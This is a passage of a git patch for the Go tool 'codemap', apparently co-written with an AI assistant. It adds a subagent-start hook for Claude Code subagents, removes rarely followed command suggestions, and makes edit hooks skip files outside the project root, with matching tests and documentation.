From 8e76fedaa0738f3b5cdea977d6ad61169ca00e33 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 22:07:45 -0500 Subject: [PATCH 01/15] feat(hooks): orient subagents at start, drop ignored nudges Claude Code never fires SessionStart for subagents, which do most of the code searching, so they started blind. `codemap hook subagent-start` (installed by setup under SubagentStart, no matcher) answers with one envelope: the top-level directories with hub marks, the hub list and the Next line, capped at 2,500 characters. It renders through the existing tree subprocess with a new CODEMAP_TREE_LEAN=dirs level (DirsOnly: no header panel, no file listings, no line counts). It reads the payload's cwd so a worktree-isolated subagent is oriented on its own tree, and on any error or outside a git repo it prints nothing and exits 0. Codex has no subagent-start event, so Codex setup is unchanged. Removed nudges agents ignored: the edit hooks' "Run now:" / "Re-check with:" / "Next codemap:" command lists (followed 0.9% of the time) and the prompt-submit "Next codemap:" block (2.7%). The hub warning, dependents, importer and hub-import lines stay. Prompt-submit no longer emits the fallback check-deps suggestion whose reason was "risk is unknown ..."; the intent marker now carries "suggestions":[] instead of a placeholder, and the Suggestions block prints only for file-specific suggestions. Edit hooks ignore files that resolve outside the project root (both sides canonicalised via projectpath.CanonicalPath), and post-edit no longer records them as agent edits. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8DzwM4bQnL7mvk6Fsq --- .claude/skills/codemap/SKILL.md | 3 + cmd/agent_edits.go | 3 + cmd/hooks.go | 277 ++++++++---------------- cmd/hooks_more_test.go | 73 ++++--- cmd/intent.go | 16 +- cmd/intent_gate_test.go | 25 +-- cmd/setup.go | 1 + cmd/setup_test.go | 10 +- docs/HOOKS.md | 50 +++-- main.go | 7 +- plugins/codemap/skills/codemap/SKILL.md | 3 + render/tree.go | 14 +- render/tree_compact.go | 9 +- scanner/types.go | 3 + skills/builtin/codemap.md | 3 + subagent_start_test.go | 70 ++++++ 16 files changed, 297 insertions(+), 270 deletions(-) create mode 100644 subagent_start_test.go diff --git a/.claude/skills/codemap/SKILL.md b/.claude/skills/codemap/SKILL.md index 054a99e7..4473f461 100644 --- a/.claude/skills/codemap/SKILL.md +++ b/.claude/skills/codemap/SKILL.md @@ -107,6 +107,9 @@ Skills matched: hub-safety, refactor - run `codemap skill show ` for guida - **Intent categories**: refactor, bugfix, feature, explore, test, docs - **Risk levels**: low (no hubs), medium (1 hub), high (2+ hubs or 8+ importers) - **Skills are pull-based**: only names are shown, run `codemap skill show` for full body +- **Suggestions** print only for a named file with dependency evidence; otherwise the marker has `"suggestions":[]` + +The edit hooks print hub facts only (hub warning, dependents, `Imported by N`, `Imports N hub(s)`) and stay silent for files outside the project. A subagent gets the top-level directories and the hub list at start, since it never sees the session-start tree. ## Builtin Skills diff --git a/cmd/agent_edits.go b/cmd/agent_edits.go index 962e4b35..13cfe82d 100644 --- a/cmd/agent_edits.go +++ b/cmd/agent_edits.go @@ -56,6 +56,9 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { if strings.TrimSpace(path) == "" { return nil } + if _, inRoot := projectRelPath(root, path); !inRoot { + return nil + } if err := gitexclude.MkdirAll(filepath.Join(root, ".codemap"), 0o755); err != nil { return err } diff --git a/cmd/hooks.go b/cmd/hooks.go index 3ff33b83..12011831 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -309,6 +309,11 @@ func waitForDaemonState(root string, timeout time.Duration) *watch.State { // RunHook executes the named hook with the given project root func RunHook(hookName, root string) error { + if hookName == "subagent-start" { + // Never fail a subagent: any error leaves stdout empty and exits 0. + _ = emitHookContext("SubagentStart", func() error { return hookSubagentStart(root) }, false) + return nil + } resolvedRoot, _, err := ResolveNearestGitRoot(root) if err != nil { return err @@ -333,7 +338,7 @@ func RunHook(hookName, root string) error { case "session-stop": fn = func() error { return hookSessionStop(root) } default: - return fmt.Errorf("unknown hook: %s\nAvailable: session-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop", hookName) + return fmt.Errorf("unknown hook: %s\nAvailable: session-start, subagent-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop", hookName) } return runHookOutput(hookName, fn) } @@ -512,23 +517,8 @@ func hookSessionStart(root string) error { if exeErr != nil { return "" } - args := projectpath.PrependSetupRootArgs("--depth", strconv.Itoa(depth)) - if len(projCfg.Only) > 0 { - args = append(args, "--only", strings.Join(projCfg.Only, ",")) - } - if len(projCfg.Exclude) > 0 { - args = append(args, "--exclude", strings.Join(projCfg.Exclude, ",")) - } - args = append(args, root) - cmd := exec.Command(exe, args...) - if lean != "" { - cmd.Env = append(os.Environ(), TreeLeanEnv+"="+lean) - } - var buf strings.Builder - cmd.Stdout = &buf - cmd.Stderr = os.Stderr - cmd.Run() - rendered[key] = buf.String() + "\n" + out, _ := renderTreeSubprocess(exe, root, projCfg, depth, lean, os.Stderr) + rendered[key] = out + "\n" return rendered[key] } @@ -549,9 +539,70 @@ func hookSessionStart(root string) error { return nil } +// renderTreeSubprocess renders `codemap --depth N` for root in a child +// process with the project's filters and the given lean level. +func renderTreeSubprocess(exe, root string, projCfg config.ProjectConfig, depth int, lean string, stderr io.Writer) (string, error) { + args := projectpath.PrependSetupRootArgs("--depth", strconv.Itoa(depth)) + if len(projCfg.Only) > 0 { + args = append(args, "--only", strings.Join(projCfg.Only, ",")) + } + if len(projCfg.Exclude) > 0 { + args = append(args, "--exclude", strings.Join(projCfg.Exclude, ",")) + } + args = append(args, root) + cmd := exec.Command(exe, args...) + if lean != "" { + cmd.Env = append(os.Environ(), TreeLeanEnv+"="+lean) + } + var buf strings.Builder + cmd.Stdout = &buf + cmd.Stderr = stderr + err := cmd.Run() + return buf.String(), err +} + +// subagentStartCap bounds the subagent orientation block. +const subagentStartCap = 2500 + +// hookSubagentStart orients a subagent, which never gets SessionStart: the +// top-level directories with hub marks, then the hub list. The payload's cwd +// wins over the process cwd because a worktree-isolated subagent runs elsewhere. +func hookSubagentStart(root string) error { + if info, err := os.Stdin.Stat(); err == nil && info.Mode()&os.ModeCharDevice == 0 { + var payload struct { + Cwd string `json:"cwd"` + } + if input, err := io.ReadAll(os.Stdin); err == nil && json.Unmarshal(input, &payload) == nil && payload.Cwd != "" { + root = payload.Cwd + } + } + resolved, found, err := ResolveNearestGitRoot(root) + if err != nil || !found { + return nil + } + if root, err = ValidateProjectPath(resolved); err != nil { + return err + } + exe, err := os.Executable() + if err != nil { + return err + } + tree, err := renderTreeSubprocess(exe, root, config.Load(root), 1, TreeLeanDirsOnly, io.Discard) + if err != nil { + return err + } + out := "๐Ÿ“ codemap orientation: top-level directories (โญ๏ธ marks hubs), then the hub list. Run `codemap .` for the full tree.\n" + tree + fmt.Print(cutAtLine(out, subagentStartCap, "")) + return nil +} + // TreeLeanEnv tells a tree render to shed extras: "1" cuts the hub list to -// three, "2" also drops line counts. -const TreeLeanEnv = "CODEMAP_TREE_LEAN" +// three, "2" also drops line counts. TreeLeanDirsOnly keeps only directory +// lines and the full hub list, with no line counts. +const ( + TreeLeanEnv = "CODEMAP_TREE_LEAN" + TreeLeanDirsOnly = "dirs" +) // Markers of the tree's own hub trailer (render/tree_compact.go). const ( @@ -1091,8 +1142,6 @@ func hookPromptSubmit(root string) error { } } - showNextCodemapSteps(root, intent, info) - showRouteSuggestions(prompt, projCfg, topK) // Match and inject relevant skills @@ -1190,121 +1239,6 @@ func showMatchedSkills(root string, intent TaskIntent) { } } -type codemapNextStep struct { - Command string - Reason string -} - -func showNextCodemapSteps(root string, intent TaskIntent, info *hubInfo) { - steps := planCodemapNextSteps(intent, info) - if len(steps) == 0 { - return - } - - hint := mcpToolHint(root) - fmt.Println() - fmt.Println("Next codemap:") - for _, step := range steps { - fmt.Printf(" โ€ข %s%s โ€” %s\n", step.Command, hint(step.Command), step.Reason) - } -} - -func planCodemapNextSteps(intent TaskIntent, info *hubInfo) []codemapNextStep { - if intent.Confidence < intentConfidenceFloor { - return nil - } - - var steps []codemapNextStep - seen := make(map[string]bool) - add := func(command, reason string) { - if command == "" || seen[command] { - return - } - seen[command] = true - steps = append(steps, codemapNextStep{Command: command, Reason: reason}) - } - - primaryFile := pickPrimaryCodemapFile(intent.Files, info) - if primaryFile != "" { - importerCount := 0 - hubImporterCount := 0 - if info != nil { - importerCount = len(info.Importers[primaryFile]) - hubImporterCount = scanner.CountHubImporters(info.Importers[primaryFile]) - } - - reason := "check callers before editing" - switch { - case hubImporterCount >= scanner.HubThreshold: - reason = fmt.Sprintf("check blast radius before editing this hub (%s)", importersNoun(importerCount)) - case importerCount > 0: - reason = fmt.Sprintf("check callers before editing (%s)", importersNoun(importerCount)) - } - add("codemap --importers "+shellQuoteIfNeeded(primaryFile), reason) - if hubImporterCount >= scanner.HubThreshold { - add("codemap --deps", "trace dependency flow around this hub before changing it") - } - } - - switch intent.Category { - case "vcs": - add("codemap --diff", "review what changed before merging, reviewing, or releasing") - case "explore": - if len(intent.Files) == 0 { - add("codemap .", "refresh project structure before diving in") - } else { - add("codemap --deps", "trace how the mentioned code connects") - } - case "refactor": - add("codemap --deps", "verify dependency flow before refactoring") - case "feature": - if len(intent.Files) == 0 { - add("codemap .", "refresh project structure before choosing edit points") - } - if len(intent.Files) > 0 || intent.Scope != "single-file" { - add("codemap --deps", "feature work tends to cross existing dependencies") - } - case "bugfix": - if len(intent.Files) == 0 { - add("codemap --diff", "check recent branch changes before debugging") - } else if primaryFile != "" && info != nil && scanner.CountHubImporters(info.Importers[primaryFile]) >= scanner.HubThreshold { - add("codemap --deps", "hub fixes can ripple through dependents") - } - } - - if len(steps) > 2 { - steps = steps[:2] - } - return steps -} - -func pickPrimaryCodemapFile(files []string, info *hubInfo) string { - if len(files) == 0 { - return "" - } - - best := files[0] - bestImporters := -1 - for _, file := range files { - importerCount := 0 - if info != nil { - importerCount = len(info.Importers[file]) - } - if importerCount > bestImporters { - best = file - bestImporters = importerCount - } - } - return best -} - -func shellQuoteIfNeeded(value string) string { - if strings.ContainsAny(value, " \t") { - return strconv.Quote(value) - } - return value -} - // setupNeedsAttention is config.AssessSetup gated for #224: a directory with // no .git and no config (such as $HOME) is not a project, so there is nothing // to set up and the hooks stay quiet instead of telling the agent to write @@ -2332,24 +2266,35 @@ func appendUniquePath(paths []string, path string) []string { return append(paths, path) } +// projectRelPath returns a hook-supplied path relative to root, or false when +// it resolves outside root. Relative paths are taken as root-relative; both +// sides are canonicalised so a symlinked root still matches. +func projectRelPath(root, path string) (string, bool) { + if !filepath.IsAbs(path) { + path = filepath.Join(root, path) + } + rel, err := filepath.Rel(projectpath.CanonicalPath(root), projectpath.CanonicalPath(path)) + if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { + return "", false + } + return rel, true +} + // checkFileImporters checks if a file is a hub and shows its importers func checkFileImporters(root, filePath string) error { return checkFileImportersWithPhase(root, filePath, "") } func checkFileImportersWithPhase(root, filePath, phase string) error { + filePath, inRoot := projectRelPath(root, filePath) + if !inRoot { + return nil + } info := getHubInfoNoFallback(root) if info == nil { return nil // silently skip if deps unavailable } - // Handle absolute paths - convert to relative - if filepath.IsAbs(filePath) { - if rel, err := filepath.Rel(root, filePath); err == nil { - filePath = rel - } - } - importers := info.Importers[filePath] if scanner.CountHubImporters(importers) >= scanner.HubThreshold { fmt.Println() @@ -2402,44 +2347,9 @@ func checkFileImportersWithPhase(root, filePath, phase string) error { fmt.Println() } - showFileCodemapActions(root, filePath, len(importers), len(hubImports) > 0, phase) - return nil } -func showFileCodemapActions(root, filePath string, importerCount int, importsHub bool, phase string) { - steps := []codemapNextStep{ - { - Command: "codemap --importers " + shellQuoteIfNeeded(filePath), - Reason: "review blast radius for this file", - }, - } - if importerCount >= 3 || importsHub { - steps = append(steps, codemapNextStep{ - Command: "codemap --deps", - Reason: "verify dependency flow around this change", - }) - } - - if len(steps) == 0 { - return - } - - switch phase { - case "before": - fmt.Println(" Run now:") - case "after": - fmt.Println(" Re-check with:") - default: - fmt.Println(" Next codemap:") - } - hint := mcpToolHint(root) - for _, step := range steps { - fmt.Printf(" โ€ข %s%s โ€” %s\n", step.Command, hint(step.Command), step.Reason) - } - fmt.Println() -} - // isHub checks if a file is a hub (has HubThreshold+ non-test importers). func (h *hubInfo) isHub(path string) bool { if scanner.IsTestFile(path) { @@ -2572,17 +2482,10 @@ func hookSessionStartMultiRepo(root string, childRepos []string) error { return nil } -// filesText and importersNoun keep counts grammatical: "1 file", "2 files". +// filesText keeps counts grammatical: "1 file", "2 files". func filesText(n int) string { if n == 1 { return "1 file" } return fmt.Sprintf("%d files", n) } - -func importersNoun(n int) string { - if n == 1 { - return "1 importer" - } - return fmt.Sprintf("%d importers", n) -} diff --git a/cmd/hooks_more_test.go b/cmd/hooks_more_test.go index a6a0bae9..f9dbae72 100644 --- a/cmd/hooks_more_test.go +++ b/cmd/hooks_more_test.go @@ -392,17 +392,10 @@ func TestExtractFilePathAndEditHooks(t *testing.T) { if hookErr != nil { t.Fatalf("hookPreEdit() error: %v", hookErr) } - checks := []string{ - "Before editing: pkg/types.go is a hub with 3 importers.", - "Run now:", - "codemap --importers pkg/types.go", - "codemap --deps", - } - for _, check := range checks { - if !strings.Contains(out, check) { - t.Fatalf("expected %q in output, got:\n%s", check, out) - } + if !strings.Contains(out, "Before editing: pkg/types.go is a hub with 3 importers.") { + t.Fatalf("expected hub warning, got:\n%s", out) } + assertNoEditNudge(t, out) }) withStdinInput(t, mustJSONInput(t, map[string]string{"file_path": target}), func() { @@ -411,20 +404,47 @@ func TestExtractFilePathAndEditHooks(t *testing.T) { if hookErr != nil { t.Fatalf("hookPostEdit() error: %v", hookErr) } - checks := []string{ - "After editing: pkg/types.go still fans out to 3 importers.", - "Re-check with:", - "codemap --importers pkg/types.go", - "codemap --deps", - } - for _, check := range checks { - if !strings.Contains(out, check) { - t.Fatalf("expected %q in output, got:\n%s", check, out) - } + if !strings.Contains(out, "After editing: pkg/types.go still fans out to 3 importers.") { + t.Fatalf("expected hub warning, got:\n%s", out) } + assertNoEditNudge(t, out) }) } +func TestEditHooksIgnoreFilesOutsideRoot(t *testing.T) { + root := t.TempDir() + outside := filepath.Join(t.TempDir(), "x.go") + writeWatchState(t, root, watch.State{ + UpdatedAt: time.Now(), + FileCount: 1, + Importers: map[string][]string{"../x.go": {"a.go", "b.go", "c.go"}}, + }) + for _, path := range []string{outside, "../x.go"} { + payload := mustJSONInput(t, map[string]string{"file_path": path, "session_id": "s"}) + for name, hook := range map[string]func(string) error{"pre-edit": hookPreEdit, "post-edit": hookPostEdit} { + withStdinInput(t, payload, func() { + if out := captureOutput(func() { _ = hook(root) }); out != "" { + t.Fatalf("%s on %s printed:\n%s", name, path, out) + } + }) + } + } + if _, err := os.Stat(agentEditsPath(root)); !os.IsNotExist(err) { + t.Fatalf("agent edits recorded for outside paths (stat err %v)", err) + } +} + +// assertNoEditNudge checks the edit hooks no longer print command lists that +// agents ignored (0.9% follow-through), while the hub facts stay. +func assertNoEditNudge(t *testing.T, out string) { + t.Helper() + for _, gone := range []string{"Run now:", "Re-check with:", "Next codemap:", "codemap --importers", "codemap --deps"} { + if strings.Contains(out, gone) { + t.Fatalf("edit hook should not print %q, got:\n%s", gone, out) + } + } +} + func TestCheckFileImportersAndRouteSuggestions(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("windows: hub lookup by native path, tracked in #214") @@ -461,12 +481,7 @@ func TestCheckFileImportersAndRouteSuggestions(t *testing.T) { if !strings.Contains(out, "Imports 1 hub(s): shared/hub.go") { t.Fatalf("expected hub import summary, got:\n%s", out) } - if !strings.Contains(out, "Next codemap:") || !strings.Contains(out, "codemap --importers pkg/types.go") { - t.Fatalf("expected actionable codemap guidance, got:\n%s", out) - } - if !strings.Contains(out, "codemap --deps") { - t.Fatalf("expected dependency guidance, got:\n%s", out) - } + assertNoEditNudge(t, out) cfg := config.ProjectConfig{ Routing: config.RoutingConfig{ @@ -540,9 +555,6 @@ func TestHookPromptSubmitShowsContextAndProgress(t *testing.T) { checks := []string{ "Context for mentioned files", "pkg/types.go is a HUB", - "Next codemap:", - "codemap --importers pkg/types.go", - "codemap --deps", "Suggested context routes", "watching", "Session so far: 2 files edited, 1 hub edits", @@ -552,6 +564,9 @@ func TestHookPromptSubmitShowsContextAndProgress(t *testing.T) { t.Fatalf("expected %q in output, got:\n%s", check, out) } } + if strings.Contains(out, "Next codemap:") { + t.Fatalf("prompt-submit should not print Next codemap:, got:\n%s", out) + } }) } diff --git a/cmd/intent.go b/cmd/intent.go index d82ea7bc..28969ca2 100644 --- a/cmd/intent.go +++ b/cmd/intent.go @@ -204,19 +204,9 @@ func classifyIntentWithFiles(prompt string, files, riskFiles []string, info *hub // Compute risk level and generate suggestions from hub analysis if info != nil && len(riskFiles) > 0 { intent.RiskLevel, intent.Suggestions = analyzeRiskWithEvidence(riskFiles, info, intent.Category, false) - } else if inferredOnly { - intent.RiskLevel = "unknown" - intent.Suggestions = []ContextSuggestion{{ - Type: "check-deps", - Target: ".", - Reason: "risk is unknown without an explicit file mention", - }} - } else { - intent.Suggestions = []ContextSuggestion{{ - Type: "check-deps", - Target: ".", - Reason: "risk is unknown without a configured file and available dependency graph", - }} + } + if intent.Suggestions == nil { + intent.Suggestions = []ContextSuggestion{} } return intent diff --git a/cmd/intent_gate_test.go b/cmd/intent_gate_test.go index a9a6b9ae..686c0c31 100644 --- a/cmd/intent_gate_test.go +++ b/cmd/intent_gate_test.go @@ -32,23 +32,6 @@ func TestClassifyIntentVCSDoesNotHijackCodePrompts(t *testing.T) { } } -func TestPlanCodemapNextStepsForVCSSuggestsDiffNotEditAdvice(t *testing.T) { - intent := TaskIntent{Category: "vcs", Confidence: 1} - steps := planCodemapNextSteps(intent, nil) - - var commands []string - for _, step := range steps { - commands = append(commands, step.Command) - } - joined := strings.Join(commands, "\n") - if strings.Contains(joined, "codemap --deps") || joined == "codemap ." { - t.Fatalf("VCS workflow got edit-flavored advice: %v", commands) - } - if !strings.Contains(joined, "codemap --diff") { - t.Fatalf("VCS workflow should suggest reviewing the diff, got: %v", commands) - } -} - func TestPromptSubmitSuppressesZeroConfidenceIntent(t *testing.T) { root := t.TempDir() @@ -82,5 +65,13 @@ func TestPromptSubmitEmitsConfidentIntent(t *testing.T) { if !strings.Contains(out, "codemap:intent") { t.Fatalf("confident intent should emit a marker, got:\n%s", out) } + if !strings.Contains(out, `"suggestions":[]`) { + t.Fatalf("intent marker should carry an empty suggestions list, got:\n%s", out) + } + for _, gone := range []string{"Next codemap:", "๐Ÿ’ก Suggestions", "risk is unknown"} { + if strings.Contains(out, gone) { + t.Fatalf("prompt-submit should not print %q, got:\n%s", gone, out) + } + } }) } diff --git a/cmd/setup.go b/cmd/setup.go index b1157f5d..7814ebdb 100644 --- a/cmd/setup.go +++ b/cmd/setup.go @@ -111,6 +111,7 @@ func generatedClaudeHooks(executable string) []claudeHookSpec { {Event: "UserPromptSubmit", Command: command + " hook prompt-submit --integration=claude-setup"}, {Event: "PreCompact", Command: command + " hook pre-compact --integration=claude-setup"}, {Event: "SessionEnd", Command: command + " hook session-stop --integration=claude-setup"}, + {Event: "SubagentStart", Command: command + " hook subagent-start --integration=claude-setup"}, } } diff --git a/cmd/setup_test.go b/cmd/setup_test.go index f5b8d359..ee1e1513 100644 --- a/cmd/setup_test.go +++ b/cmd/setup_test.go @@ -68,6 +68,13 @@ func TestEnsureClaudeHooksCreatesSettings(t *testing.T) { t.Fatalf("expected %q hook command in event %q", spec.Command, spec.Event) } } + if subagent := hooks["SubagentStart"]; len(subagent) != 1 || subagent[0].Matcher != "" { + t.Fatalf("expected one SubagentStart entry with no matcher, got %v", hooks["SubagentStart"]) + } + again, err := ensureClaudeHooks(settingsPath, false) + if err != nil || again.AddedHooks != 0 || again.WroteFile { + t.Fatalf("second ensureClaudeHooks should be a no-op, got %+v, err %v", again, err) + } } func TestEnsureClaudeHooksPreservesFieldsAndAvoidsDuplicates(t *testing.T) { @@ -173,7 +180,8 @@ func TestEnsureClaudeHooksAddsMatcherScopedHookWhenMatcherMissing(t *testing.T) "PostToolUse": [{"matcher":"Edit|Write","hooks":[{"type":"command","command":"codemap hook post-edit"}]}], "UserPromptSubmit": [{"hooks":[{"type":"command","command":"codemap hook prompt-submit"}]}], "PreCompact": [{"hooks":[{"type":"command","command":"codemap hook pre-compact"}]}], - "SessionEnd": [{"hooks":[{"type":"command","command":"codemap hook session-stop"}]}] + "SessionEnd": [{"hooks":[{"type":"command","command":"codemap hook session-stop"}]}], + "SubagentStart": [{"hooks":[{"type":"command","command":"codemap hook subagent-start"}]}] } }` if err := os.WriteFile(settingsPath, []byte(existing), 0644); err != nil { diff --git a/docs/HOOKS.md b/docs/HOOKS.md index bf3f112d..c0dff29f 100644 --- a/docs/HOOKS.md +++ b/docs/HOOKS.md @@ -10,6 +10,7 @@ Hooks give Claude Code and Codex automatic codebase context throughout a session |------|--------------| | **Session starts** | Claude sees full project tree, hubs, branch diff, and last session context | | **After compact** | Claude sees the tree again (context restored) | +| **A subagent starts** | The subagent sees the top-level directories and the hub list | | **You mention a file** | Claude gets intent analysis, hub context, risk level, working set, and suggestions | | **Before editing** | Claude sees who imports the file AND what hubs it imports | | **After editing** | Claude sees the impact of what was just changed | @@ -137,6 +138,16 @@ If you want to manage Claude settings manually, add this `hooks` object to `.cla } ] } + ], + "SubagentStart": [ + { + "hooks": [ + { + "type": "command", + "command": "codemap hook subagent-start" + } + ] + } ] } } @@ -253,16 +264,12 @@ myproject ### Before/After Editing a File -Claude Code passes tool-hook stdout to the model only as JSON, so `pre-edit` and `post-edit` print this text inside a `{"hookSpecificOutput":{"hookEventName":"PreToolUse"|"PostToolUse","additionalContext":"..."}}` envelope, and print nothing when there is nothing to say. Run by hand at a terminal, they print the plain text. +Claude Code passes tool-hook stdout to the model only as JSON, so `pre-edit` and `post-edit` print this text inside a `{"hookSpecificOutput":{"hookEventName":"PreToolUse"|"PostToolUse","additionalContext":"..."}}` envelope, and print nothing when there is nothing to say. Run by hand at a terminal, they print the plain text. A file that resolves outside the project root (symlinks resolved) gets no output, and `post-edit` does not record it as an agent edit. ``` ๐Ÿ“ Before editing: cmd/hooks.go Imported by 1 file(s): main.go Imports 16 hub(s): scanner/types.go, scanner/walker.go, watch/daemon.go... - - Run now: - โ€ข codemap --importers cmd/hooks.go โ€” review blast radius for this file - โ€ข codemap --deps โ€” verify dependency flow around this change ``` Or if it's a hub: @@ -275,10 +282,6 @@ Or if it's a hub: โ€ข mcp/main.go โ€ข watch/watch.go ... and 7 more - - Run now: - โ€ข codemap --importers scanner/types.go โ€” review blast radius for this file - โ€ข codemap --deps โ€” verify dependency flow around this change ``` ### When You Mention a File (Prompt Submit) @@ -296,10 +299,6 @@ The prompt-submit hook performs **intent classification** and surfaces relevant โ€ข [check-deps] scanner/types.go โ€” verify dependents still compile after changes โ€ข [run-tests] . โ€” run full test suite after refactoring -Next codemap: - โ€ข codemap --importers scanner/types.go โ€” check blast radius before editing this hub (10 importers) - โ€ข codemap --deps โ€” verify dependency flow before refactoring - ๐Ÿ“š Suggested context routes: @@ -314,6 +313,8 @@ Next codemap: **Structured markers** (``, ``) are machine-readable JSON that tools can parse. The human-readable output is always shown alongside them. +The `๐Ÿ’ก Suggestions` block prints only for file-specific suggestions from dependency evidence. A prompt with no file or no graph gets none, and the intent marker carries `"suggestions":[]`. + #### Intent Categories | Category | Triggered By | Extra Context | @@ -342,6 +343,25 @@ Edits are attributed by *provenance*, not by disk churn. The `PostToolUse` hook Provenance depends on the hook receiving a payload it understands: `tool_input.file_path` (Edit/Write), `tool_input.notebook_path` (NotebookEdit), or `tool_input.command` (Codex `apply_patch`). +### When a Subagent Starts + +Claude Code does not fire `SessionStart` for subagents, so `codemap hook subagent-start` runs on `SubagentStart` (every agent type, no matcher). It reads the payload's `cwd`, so a subagent in its own worktree is oriented on that worktree, and answers with one `{"hookSpecificOutput":{"hookEventName":"SubagentStart","additionalContext":"..."}}` envelope capped at 2,500 characters: + +``` +๐Ÿ“ codemap orientation: top-level directories (โญ๏ธ marks hubs), then the hub list. Run `codemap .` for the full tree. +codemap +โ”œโ”€โ”€ cmd/ (59 files, 535.1KB, all .go) +โ”œโ”€โ”€ โญ๏ธ scanner/ โ†79 (95 files, 790.4KB, all .go) +โ””โ”€โ”€ โญ๏ธ watch/ โ†25 (33 files, 255.0KB, all .go) +โญ๏ธ โ†N = imported by N files, 3+ of them non-test (Go: package count, on its dir) +Hubs (top 10 of 15, by importers): + โ†79 scanner/ + โ†25 watch/ +Next: codemap --deps ยท codemap --importers scanner/astgrep.go +``` + +Above the large-repo file limit the hub list is replaced by the tree's `No โญ๏ธ hub marks:` note. Outside a git repository, or on any error, it prints nothing and exits 0 so a subagent never fails on it. Codex has no subagent-start event, so this hook is Claude-only. + ### At Session End ``` ๐Ÿ“Š Session Summary @@ -382,6 +402,7 @@ If a recent handoff exists **for the current branch**, session start includes a | `codemap hook prompt-submit` | `UserPromptSubmit` | Intent classification, hub context, risk analysis, working set, route suggestions, drift warnings | | `codemap hook pre-compact` | `PreCompact` | Saves hub state to .codemap/hubs.txt | | `codemap hook session-stop` | `SessionEnd` | Edit timeline + writes `.codemap/handoff.latest.json`, `.codemap/handoff.prefix.json`, `.codemap/handoff.delta.json` | +| `codemap hook subagent-start` | `SubagentStart` | Top-level directories with hub marks, then the hub list (Claude only) | --- @@ -410,7 +431,7 @@ codemap handoff --detail a.go . # lazy-load full detail for one changed file With these hooks, Claude: 1. **Knows** which files are hubs before touching them 2. **Sees** the blast radius after making changes -3. **Gets exact codemap commands** at decision points instead of generic protocol reminders +3. **Orients subagents** that never see the session-start tree 4. **Remembers** important files even after context compaction --- @@ -457,6 +478,7 @@ Hooks are budgeted to avoid context blowup: | prompt-submit | 180-350 bytes | Skill bodies not injected (pull-based) | | pre/post-edit | 0-500 bytes | Only for files with importers | | session-stop | 500-2KB | Last 10 events | +| subagent-start | 1-2KB | 2,500 characters | | multi-repo | Varies | 60KB total across all repos | The 8-second hook timeout prevents any single hook from blocking Claude. diff --git a/main.go b/main.go index 4536917d..4580b706 100644 --- a/main.go +++ b/main.go @@ -117,7 +117,7 @@ func main() { if len(os.Args) >= 2 && os.Args[1] == "hook" { if len(os.Args) < 3 { fmt.Fprintln(os.Stderr, "Usage: codemap hook ") - fmt.Fprintln(os.Stderr, "Available hooks: session-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop") + fmt.Fprintln(os.Stderr, "Available hooks: session-start, subagent-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop") fmt.Fprintln(os.Stderr, "session-start also starts 'codemap watch daemon ' when none is running and writes runtime state under the project's .codemap/ directory. 'codemap watch stop' ends it.") os.Exit(1) } @@ -626,10 +626,11 @@ func main() { project.Hubs, project.HubNote = treeHubs(absRoot, len(files), filters) project.UntrackedDirs = untrackedDirs(root) lean := os.Getenv(cmd.TreeLeanEnv) - if lean != "2" { + project.DirsOnly = lean == cmd.TreeLeanDirsOnly + if lean != "2" && !project.DirsOnly { project.LineCounts = countLines(absRoot, files) } - if lean != "" { + if lean == "1" || lean == "2" { project.HubListMax = 3 } } diff --git a/plugins/codemap/skills/codemap/SKILL.md b/plugins/codemap/skills/codemap/SKILL.md index 054a99e7..4473f461 100644 --- a/plugins/codemap/skills/codemap/SKILL.md +++ b/plugins/codemap/skills/codemap/SKILL.md @@ -107,6 +107,9 @@ Skills matched: hub-safety, refactor - run `codemap skill show ` for guida - **Intent categories**: refactor, bugfix, feature, explore, test, docs - **Risk levels**: low (no hubs), medium (1 hub), high (2+ hubs or 8+ importers) - **Skills are pull-based**: only names are shown, run `codemap skill show` for full body +- **Suggestions** print only for a named file with dependency evidence; otherwise the marker has `"suggestions":[]` + +The edit hooks print hub facts only (hub warning, dependents, `Imported by N`, `Imports N hub(s)`) and stay silent for files outside the project. A subagent gets the top-level directories and the hub list at start, since it never sees the session-start tree. ## Builtin Skills diff --git a/render/tree.go b/render/tree.go index 01705174..8e8015ef 100644 --- a/render/tree.go +++ b/render/tree.go @@ -181,26 +181,30 @@ func Tree(w io.Writer, project scanner.Project) { innerWidth = len(statsLine) + 4 } + panel := w + if project.DirsOnly { + panel = io.Discard + } // Title in top border line (like rich panel) titleLine := fmt.Sprintf(" %s ", projectName) padding := innerWidth - len(titleLine) leftPad := padding / 2 rightPad := padding - leftPad - fmt.Fprintf(w, "โ•ญ%s%s%sโ•ฎ\n", strings.Repeat("โ”€", leftPad), titleLine, strings.Repeat("โ”€", rightPad)) - fmt.Fprintf(w, "โ”‚ %-*s โ”‚\n", innerWidth-2, statsLine) + fmt.Fprintf(panel, "โ•ญ%s%s%sโ•ฎ\n", strings.Repeat("โ”€", leftPad), titleLine, strings.Repeat("โ”€", rightPad)) + fmt.Fprintf(panel, "โ”‚ %-*s โ”‚\n", innerWidth-2, statsLine) // Extensions line if extLine != "" { - fmt.Fprintf(w, "โ”‚ %-*s โ”‚\n", innerWidth-2, extLine) + fmt.Fprintf(panel, "โ”‚ %-*s โ”‚\n", innerWidth-2, extLine) } // Remote URL indicator if project.RemoteURL != "" { remoteLine := fmt.Sprintf("โ†ณ %s", project.RemoteURL) - fmt.Fprintf(w, "โ”‚ %-*s โ”‚\n", innerWidth-2, remoteLine) + fmt.Fprintf(panel, "โ”‚ %-*s โ”‚\n", innerWidth-2, remoteLine) } - fmt.Fprintf(w, "โ•ฐ%sโ•ฏ\n", strings.Repeat("โ”€", innerWidth)) + fmt.Fprintf(panel, "โ•ฐ%sโ•ฏ\n", strings.Repeat("โ”€", innerWidth)) // Build and render tree root := buildTreeStructure(files) diff --git a/render/tree_compact.go b/render/tree_compact.go index ea5af5c3..b46180c1 100644 --- a/render/tree_compact.go +++ b/render/tree_compact.go @@ -20,10 +20,11 